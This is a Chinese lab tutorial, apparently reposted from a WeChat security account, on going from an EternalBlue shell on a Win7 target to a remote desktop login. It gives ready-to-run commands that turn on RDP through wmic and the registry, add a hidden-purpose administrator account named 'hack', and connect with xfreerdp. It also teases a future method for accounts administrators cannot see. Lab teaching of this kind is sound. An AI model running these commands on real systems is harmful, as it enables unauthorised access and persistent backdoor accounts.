最近更新了一些cobaltstrike和内网的知识，很多兄弟私信说是对这类感兴趣 作者: zangcc
1、靶场环境
攻击机：kali-192.168.25.130
靶机：win7-192.168.25.132
2、永恒之蓝漏洞Getshell
具体步骤不详细展开，只要msf选择ms17_010_eternalblue模块，设置rhost参数就行，rhost就是目标靶机的地址。
3、命令行打开3389远程连接端口
netstat -an
①
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
netstat -an|find "3389"
补充一点
远程桌面的默认端口是3389，为了防止管理员更改了远程端口给我们连接带来意想不到的情况，需要通过查看注册表键值确认远程桌面的端口是否为3389
REG QUERY "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp" /v PortNumber
4、命令行添加登录用户
net user hack 123123 /add
net localgroup administrators hack /add
5、Kali自带远程连接工具进行连接
现在分别讲讲各自的用法吧：
5.1、xfreerdp工具
很容易理解，/u就是用户名，/p是密码，/v是靶机（目标）的地址 /size就是图形化界面的大小而已。
xfreerdp /u:hack /p:123123 /v:192.168.25.132 /size:80%
5.2、xfreerdp工具
rdesktop 192.168.25.132
小记tips
比如一些CTF比赛，要你找系统里的flag，如果用命令行找，很多新手朋友可能不是很会，所以用这种远程的方法鼠标点点点，文件夹翻一翻还是很舒服的，但是呢，如果真实环境渗透，攻防比赛，用远程那是很大风险的，蓝队溯源你是分分钟的事情，而且风险太大，日志会记录行为，抓你只是时间问题，所以我们要遵守《中华人民共和国网络安全法》，做个守法的白帽子。
可能你们会问，有没有又安全，又能新建一个账户，但是呢，管理员还发现不了你的办法。答案是当然有的！只需要用命令行的方法新建一个隐藏的账户就行，但是创建起来没有这次实验那么容易，需要看注册表里的一些信息，稍微有点麻烦，具体方法下次想起来再更，干饭去了。
免责声明
郑重声明：本号所涉及的技术、思路和工具仅供以安全为目的的学习交流使用，任何人不得将其用于非法用途，否则后果自行承担！
原文始发于微信公众号（安全初心）：渗透小技巧从getshell到3389端口远程桌面连接靶机
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论